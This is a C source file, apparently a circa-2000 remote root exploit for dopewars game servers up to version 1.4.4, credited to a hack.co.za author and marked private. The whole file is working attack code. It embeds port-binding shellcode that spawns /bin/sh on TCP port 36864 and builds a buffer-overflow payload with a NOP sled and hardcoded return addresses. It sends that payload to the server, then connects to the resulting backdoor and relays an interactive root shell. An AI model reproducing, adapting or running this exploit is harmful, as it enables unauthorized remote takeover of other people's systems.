/*
 *  !i! - PRIVATE -- DO NOT DISTRIBUTE -- PRIVATE -- DO NOT DISTRIBUTE - !i!
 *
 *  Copyright (c) anathema <anathema@hack.co.za> 
 *
 *  Dopewars remote root exploit, version 0x02
 *  Exploits all dopewars versions prior to, and including, 1.4.4.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define DOPEWARS_PRT		7902
#define BD_PRT			36864

#define PRE_NOPS		25
#define MDL_NOPS		23
#define POST_NOPS		358

#define POST_ADDR		0xbffff321
#define SHELL_ADDR		0xbfffff78

#define POST_RET		208
#define SHELL_RET		234
#define POST_OFFSET		28

/*
 *  Portshell shellcode modified so as not to contain 0x5e (popl %esi)
 *  which we replace by (popl %edi, xchgl %edi, %esi)
 */
char c0de[]=
  "\xeb\x4b\x5f\x87\xfe\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89"
  "\x46\x08\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90"
  "\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46"
  "\x08\xb0\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb"
  "\x02\xeb\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29"
  "\xc9\xb0\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69"
  "\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89"
  "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0"
  "\x40\xcd\x80\xe8\x62\xff\xff\xff";

u_long
resolve_host(u_char *host_name)
{
  struct in_addr addr;
  struct hostent *host_ent;

  addr.s_addr = inet_addr(host_name);
  if (addr.s_addr == -1)
    {
      host_ent = gethostbyname(host_name);
      if (!host_ent) return((u_long)0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

  return(addr.s_addr);
}

u_char *
exploit_buf(void)
{
  u_char buf[4096];
  u_long post_addr  = POST_ADDR;
  u_long shell_addr = SHELL_ADDR;
  int ps_ret = POST_RET, sh_ret = SHELL_RET;

  post_addr += POST_OFFSET;

  memset(buf, 0, sizeof(buf));

  /*
   *  We add the run of NOPs and the shellcode before the initial (ret)
   *  address. We could possibly add it after the latter (JMP addr)
   *  but then we run the risk of overwriting part of the environment.
   */
  memset(buf, 0x90, PRE_NOPS);
  memcpy(buf + PRE_NOPS, c0de, strlen(c0de));
  memset(buf + PRE_NOPS + strlen(c0de), 0x90, MDL_NOPS);

  /* Initial return address. */
  buf[ps_ret++] = (post_addr & 0xff);
  buf[ps_ret++] = (post_addr >> 8) & 0xff;
  buf[ps_ret++] = (post_addr >> 16) & 0xff;
  buf[ps_ret++] = (post_addr >> 24) & 0xff;

  /* Pad out to sh_ret */
  memset(buf + ps_ret, 0x90, SHELL_RET - ps_ret);

  /* Add the JMP opcodes */
  buf[sh_ret++] = 0xeb;
  buf[sh_ret++] = 0x04;

  /* The address to which to JMP */
  buf[sh_ret++] = (shell_addr & 0xff);
  buf[sh_ret++] = (shell_addr >> 8) & 0xff;
  buf[sh_ret++] = (shell_addr >> 16) & 0xff;
  buf[sh_ret++] = (shell_addr >> 24) & 0xff;

  /* Pad out the rest of the buffer (post_nops) */
  memset(buf + sh_ret, 0x90, POST_NOPS);

  return(strdup(buf));
}

void
shellz(u_long dst_ip)
{
  struct sockaddr_in sin;
  struct in_addr inaddr;
  u_char sock_buf[4096];
  fd_set fds;
  int sock;

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(BD_PRT);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to backdoor");
      exit(-1);
    }

  /*
   *  Ok. We're connected to our backdoor.
   */
  inaddr.s_addr = dst_ip;
  fprintf(stderr, "Successfully owned host: `%s` ;)\n", inet_ntoa(inaddr));

  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds); /* STDIN_FILENO */
      FD_SET(sock, &fds);

      if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
          perror("select");
          exit(-1);
        }

      memset(sock_buf, 0, sizeof(sock_buf));

      if (FD_ISSET(sock, &fds))
        {
          if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
            {
              fprintf(stderr, "Connection closed by foreign host.\n");
              exit(0);
            }
          fprintf(stderr, "%s", sock_buf);
        }

      if (FD_ISSET(0, &fds))
        {
          read(0, sock_buf, sizeof(sock_buf) - 1);
          write(sock, sock_buf, strlen(sock_buf));
        }
    }

  /* NOTREACHED */
}

void
init_connection(u_long dst_ip, u_short src_prt, u_short dst_prt)
{
  struct sockaddr_in sin;
  u_char buf[10000];
  int sock, one = 1, *o_ptr = &one;

  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "%s^\n", exploit_buf());

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  if (src_prt)
    {
      struct sockaddr_in min;

      if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr,
                     sizeof(one)) == -1)
        {
          perror("setsockopt SO_REUSEADDR");
          exit(-1);
        }

      min.sin_family = AF_INET;
      min.sin_port   = htons(src_prt);
      min.sin_addr.s_addr = INADDR_ANY;

      if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
        {
          perror("bind");
          exit(-1);
        }
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(dst_prt);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to `dopewars` server");
      exit(-1);
    }

  if (write(sock, buf, strlen(buf)) == -1)
    {
      perror("write");
      exit(-1);
    }
  /*
   *  Wait for a short period of time for the shell to spawn, 
   *  and then attempt to make a connection to it (TCP/36864).
   */
  sleep(2);
  shellz(dst_ip);

  /* NOTREACHED */
}

void
usage(u_char *argv0)
{
  fprintf(stderr, "No.\nusage:\t%s dst_host|ip [-s src_prt] [-d dst_prt]\n"
          "Default destination|dopewars port is %d.\n", argv0, DOPEWARS_PRT);
  exit(0);
}

int
main(int argc, char **argv)
{
  u_long dst_ip = 0;
  u_short src_prt = 0, dst_prt = DOPEWARS_PRT;
  char opt;

  fprintf(stderr, "dopewars remote exploit -- anathema@hack.co.za\n");
  if (argc < 2)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }

  dst_ip = resolve_host(argv[1]);
  if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }

  while ((opt = getopt(argc, argv, "s:d:")) != EOF)
    {
      switch (opt)
        {
        case 's':
          src_prt  = (u_short)atoi(optarg);
          break;
        case 'd':
          dst_prt  = (u_short)atoi(optarg);
          break;
        default:
          usage(argv[0]);
          /* NOTREACHED */
        }
    }

  if (src_prt && src_prt < 1024)
    {
      /*
       *  Must be root to bind() to a reserved source port.
 [2000]*/
      if (getuid() && geteuid())
        {
          fprintf(stderr, "Insufficient privileges\n");
          exit(-1);
        }
    }

  init_connection(dst_ip, src_prt, dst_prt);

  /* NOTREACHED */
}


/*                    www.hack.co.za              [2000]*/